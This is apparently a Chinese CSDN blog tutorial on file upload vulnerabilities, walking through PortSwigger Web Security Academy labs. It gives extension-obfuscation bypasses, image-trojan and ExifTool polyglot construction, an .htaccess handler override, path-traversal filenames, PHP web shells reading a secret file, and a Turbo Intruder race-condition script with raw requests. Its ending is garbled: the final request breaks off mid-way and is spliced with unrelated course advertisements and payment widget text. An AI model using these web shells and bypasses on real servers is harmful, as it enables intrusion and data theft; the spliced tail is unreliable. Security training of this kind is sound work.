一级必杀,防不胜防的漏洞,WEB安全基础入门—文件上传漏洞_practitioner remote code execution via polyglot we

<staticContent>
    <mimeMap fileExtension=".json" mimeType="application/json" />
</staticContent>

攻击者编制配置文件,使定制的后缀名映射到服务器可执行文件,然后尝试上传该文件(部分网站可上传),覆盖掉服务器原文件。

例题 4

  • 扩展名模糊绕混淆过技巧
    • 大小写混淆.pHp
    • 多重扩展名 .php.jpg
    • 多重.绕过 .php.
    • .URL编码绕过 exploit%2Ephp
    • 分号或URL编码空字符绕过 .asp;.jpg .asp%00.jpg
    • 多字节Unicode字符绕过 xC0 x2E xC4 xAE xC0 xAE可能均会转化为x2E
    • 复写扩展名 .p.phphp 中部的.php被过滤掉,剩余的字符串依然组成.php

例题 5

4. 对文件内容验证的缺陷

除了对文件扩展名进行检测外,一些防护较好的服务器还对文件内容进行检测。检测的方式有多种。

  • 对字段类型检测Content-Type
  • 对文件开头和结尾的十六进制数检测

在这里插入图片描述

  • 对特定类型文件的固有属性进行检测,如图片一定有尺寸大小的属性。可采取图片马方式绕过。

图片马的绕过方式主要是4种,但核心是一样的。将攻击荷载加载进图片文件中,满足类型检测、文件开头或结尾十六进制检测、特定类型文件固有属性检测。

  1. 文本方式打开正常图片,在末尾粘结一句话木马(会有一定概率失败,一句话木马被破坏)
  2. 准备一个正常图片1.jpg,一个木马文件2.php。生成目标图片马3.jpg

cmd中执行命令: copy 1.jpg/b+2.php 3.jpg

  1. 16进制打开图片在末尾添加一句话木马
  2. 使用工具ExifTool制作图片马Github下载地址

除了上述方式外,还需要一个必须条件,服务器存在类似任意文件包含漏洞,导致可执行jpg等图片文件(图片马)。

方法4 工具ExifTool 可直接将图片马变为.php直接上传,只要服务器能执行php文件即可。

例题 6

5. 利用条件竞争上传文件

目前流行的主流框架,对上述攻击都有有效防御。通常是将刚刚上传的文件临时迁移到类似于沙箱环境路径下,并修改为随机文件名(避免覆盖和路径预测)。一旦文件进入沙箱环境将很难进行下一步攻击测试。
但是这种处理方式往往是在框架外,采用独立的流程进行处理。 这不仅相当复杂,而且还可能引入危险的争用条件,使攻击者能够完全绕过所有验证。
举例来说, 有些网站文件上传后,会将文件移至沙箱,用于检测病毒或恶意软件,并将源上传文件删除。但这个转义存储和删除源文件的过程需要几毫秒。这极短的时间,攻击者可以配合工具尝试进行利用(工具:Burp Turbo 扩展)。

条件竞争漏洞利用非常巧妙,也非常有难度。往往需要事先获取部分源码,通过源代码审计发现疑似利用点,并经大量测试才能成功。

例题 7

  • 基于URL的条件竞争

服务器必须通过互联网获取文件并创建本地副本,然后才能执行任何验证。
由于文件是使用HTTP加载的,因此开发人员无法使用框架机制来安全地验证文件。只能手动创建自己的进程来临时存储和验证文件,产生随机名称存放在临时目录中。
如果随机目录名是使用伪随机函数(如PHP的uniqid())生成的,则可用暴力破解测试的。
要想利用,可以尝试延长处理文件所需的时间,从而延长暴力破解目录的时间窗口。做到这一点的一种方法是上传一个非常大的文件来延长传输处理时间。如果它是分块处理的,该恶意文件的开头带有有效负载,后可跟大量的任意填充字节。

6. 在无法执行远程代码的情况下利用文件上载漏洞

尽管无法在服务器上执行脚本,但可以上载客户端攻击的脚本。例如,可以上传HTML文件或SVG图像,可以使用

需考虑同源策略的限制

7. 通过PUT方法上传文件

一些Web服务器可能被配置为支持PUT请求。如果没有适当的防御措施,这就成为一种上传恶意文件的替代方法,即使在网络界面上没有上传功能时也是如此。  

PUT /images/exploit.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-httpd-php
Content-Length: 49

<?php echo file_get_contents('/path/to/file'); ?>

8. 漏洞实例

1. 上传Web shell远程代码执行(Remote code execution via web shell upload
  • 目标

利用基础PHP web shell读取文件/home/carlos/secret内容
测试账号wiener:peter,该网站对上传无任何防护

  • 截图思路

本地制作php web shell 123.php
<?php echo file_get_contents('/home/carlos/secret'); ?>
再次刷新个人主页,发现数据包
GET /files/avatars/123.php HTTP/1.1响应内容为flag

2. 通过绕过内容类型限制上载Web shell(Web shell upload via Content-Type restriction bypass)
  • 目标

利用基础PHP web shell读取文件/home/carlos/secret内容
测试账号wiener:peter

  • 截图思路
    1. 登陆账号,正常上传图片测试流程,发现数据包POST /my-account/avatar
    2. 放到repeater模块,尝试上传web shell(与上题相同)。发现报错,信息显示文件格式不对,仅支持image/png image/jpg
    3. 尝试修改content-type字段,再次上传成功。
-----------------------------396512672126764604443828361850
Content-Disposition: form-data; name="avatar"; filename="123.php"
Content-Type: image/png

<?php echo file_get_contents('/home/carlos/secret'); ?>

3. 通过路径遍历漏洞上传Web shell(Web shell upload via path traversal
  • 目标

利用基础PHP web shell读取文件/home/carlos/secret内容
测试账号wiener:peter

  • 截图思路
    1. 关键不同点,注意filename=../123.php。观察回复,发现…/被过滤
-----------------------------28360212211975207492478525821
Content-Disposition: form-data; name="avatar"; filename="../123.php"
Content-Type: text/php

The file avatars/123.php has been uploaded.<p>

  1. 尝试URL编码/可否绕过过滤
-----------------------------28360212211975207492478525821
Content-Disposition: form-data; name="avatar"; filename="..%2f123.php"
Content-Type: text/php

The file avatars/../123.php has been uploaded.<p>

成功。

4. 绕过黑名单上传Web shell(Web shell upload via extension blacklist bypass)
  • 目标

利用基础PHP web shell读取文件/home/carlos/secret内容
测试账号wiener:peter

  • 截图思路
    1. 经测试后,发现.php被拦截无法上传。同时后端服务器为

Apache/2.4.41 (Ubuntu) Server at 172.17.0.4 Port 80

  1. 尝试覆盖上传.htaccess配置文件,自定制扩展按php执行文件。修改数据包POST /my-account/avatar
-----------------------------1606875978792719522141999998
Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: text/plain

AddType application/x-httpd-php .heason

  1. 再次上传web shell(扩展名改为.heason)成功
-----------------------------1606875978792719522141999998
Content-Disposition: form-data; name="avatar"; filename="123.heason"
Content-Type: text/php

<?php echo file_get_contents('/home/carlos/secret'); ?>

5. 通过模糊文件扩展名上传Web shell(Web shell upload via obfuscated file extension
  • 目标

利用基础PHP web shell读取文件/home/carlos/secret内容
测试账号wiener:peter

  • 截图思路
    1. 多次测试后456.php%00.jpg可绕过。
    2. 注意,上传成功后,需手动访问文件路径 GET /files/avatars/456.php查看响应获取结果
6. 绕过内容检测上传web shell(Remote code execution via polyglot web shell upload)
  • 目标

利用基础PHP web shell读取文件/home/carlos/secret内容
测试账号wiener:peter

  • 截图思路
    1. 使用工具exiftool

./exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" <YOUR-INPUT-IMAGE>.jpg -o polyglot.php

在图片描述中添加一句话木马,描述以STATE开头,END结尾(方便最后搜索),生成php文件上传,虽是php文件,但就是能绕过内容检测,工具很实用。

  1. 生成polyglot.php直接上传
  2. 访问路径GET /files/avatars/polyglot.php
  3. 在返回的乱码中,搜索START,START与END之间即为获取的信息
7. 通过争用条件上传Web shell(Web shell upload via race condition)
  • 目标

利用基础PHP web shell读取文件/home/carlos/secret内容
测试账号wiener:peter,工具使用Burp Turbo 扩展
部分源码如下,(注意注释文字)

/\*
 上传的文件被移动到一个可访问的文件夹,在那里它被检查是否有病毒。只有在病毒检查完成后,才会删除恶意文件。这意味着在删除文件之前,可以在较小的时间窗口内执行该文件。
\*/
<?php
  $target\_dir = "avatars/";
$target\_file = $target\_dir . $\_FILES["avatar"]["name"];
// temporary move 上传的源文件被转移存储在临时可访问路径
move\_uploaded\_file($\_FILES["avatar"]["tmp\_name"], $target\_file);

if (checkViruses($target\_file) && checkFileType($target\_file)) {
  echo "The file ". htmlspecialchars( $target\_file). " has been uploaded.";
} else {
  // 问题就出现在上面这一行,是在完成检测后,发现有问题才会删除文件
  unlink($target\_file);  
  echo "Sorry, there was an error uploading your file.";
  http\_response\_code(403);
}

function checkViruses($fileName) {
  // checking for viruses
  ...
  }

function checkFileType($fileName) {
  $imageFileType = strtolower(pathinfo($fileName,PATHINFO\_EXTENSION));
  if($imageFileType != "jpg" && $imageFileType != "png") {
    echo "Sorry, only JPG & PNG files are allowed\n";
    return false;
  } else {
    return true;
  }
}
?>

  • 截图思路
    1. 使用测试账户完整熟悉头像交互全流程。发现上述介绍的所有攻击方式均失效。查看源码,考虑使用条件竞争漏洞。
    2. 关注两个数据包POST /my-account/avatar GET /files/avatars/1.png
    3. 使用Burp Turbo 扩展,python脚本模板如下
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)
    
    request1 = '''<YOUR-POST-REQUEST>''' # POST /my-account/avatar
    
    request2 = '''<YOUR-GET-REQUEST>'''  # GET /files/avatars/heason.php
    
    # the 'gate' argument blocks the final byte of each request until openGate is invoked
    engine.queue(request1, gate='race1')
    for x in range(5):
        engine.queue(request2, gate='race1')
        
        # wait until every 'race1' tagged request is ready
        # then send the final byte of each request
        # (this method is non-blocking, just like queue)
        engine.openGate('race1')
        
        engine.complete(timeout=60)
        
        
        def handleResponse(req, interesting):
    table.add(req)

  1. 准备好攻击脚本heason.php正常数据包上传,被拒。请求包作为 查看该文件GET包作为 构造攻击脚本
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)
    
    request1 = '''POST /my-account/avatar HTTP/1.1
 Host: 0adc00f904771650c0a69f33000200fc.web-security-academy.net
 Cookie: session=cj7XIiuLDzxPx2HeGcn2UQA2WP8u3vni
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
 Accept-Encoding: gzip, deflate
 Content-Type: multipart/form-data; boundary=---------------------------208961071423304880663648965172
 Content-Length: 550
 Origin: https://0adc00f904771650c0a69f33000200fc.web-security-academy.net
 Referer: https://0adc00f904771650c0a69f33000200fc.web-security-academy.net/my-account
 Upgrade-Insecure-Requests: 1
 Sec-Fetch-Dest: document
 Sec-Fetch-Mode: navigate
 Sec-Fetch-Site: same-origin
 Sec-Fetch-User: ?1
 Te: trailers
 Connection: close
 
 -----------------------------208961071423304880663648965172
 Content-Disposition: form-data; name="avatar"; filename="heason.php"
 Content-Type: application/octet-stream
 
 <?php echo file\_get\_contents('/home/carlos/secret'); ?>
 -----------------------------208961071423304880663648965172
 Content-Disposition: form-data; name="user"
 
 wiener
 -----------------------------208961071423304880663648965172
 Content-Disposition: form-data; name="csrf"
 
 OfvXiGdCGXG9Y4C3aGj9cbPgSWITTAOA
 -----------------------------208961071423304880663648965172--
 '''
    
    request2 = '''GET /files/avatars/heason.php HTTP/1.1
 Host: 0adc00f904771650c0a69f33000200fc.web-security-academy.net
 Cookie: session=cj7XIiuLDzxPx2HeGcn2UQA2WP8u3vni
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
 Accept: image/avif,image/webp,\*/\*


![img](https://img-blog.csdnimg.cn/img_convert/756e373b4ec83d69eb124a2d22a9fb99.png)
![img](https://img-blog.csdnimg.cn/img_convert/762022b26463a7e436fc15b142babadc.png)
![img](https://img-blog.csdnimg.cn/img_convert/af8608c99c2b8bf58fe44084f2399934.png)

**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上大数据知识点,真正体系化!**

**由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新**

**[需要这份系统化资料的朋友,可以戳这里获取](https://bbs.csdn.net/topics/618545628)**


 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
 Accept: image/avif,image/webp,\*/\*


[外链图片转存中...(img-CaJ3bUop-1714281669083)]
[外链图片转存中...(img-zjYkEOLD-1714281669083)]
[外链图片转存中...(img-HWkldVq2-1714281669084)]

**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上大数据知识点,真正体系化!**

**由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新**

**[需要这份系统化资料的朋友,可以戳这里获取](https://bbs.csdn.net/topics/618545628)**

  • 28
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值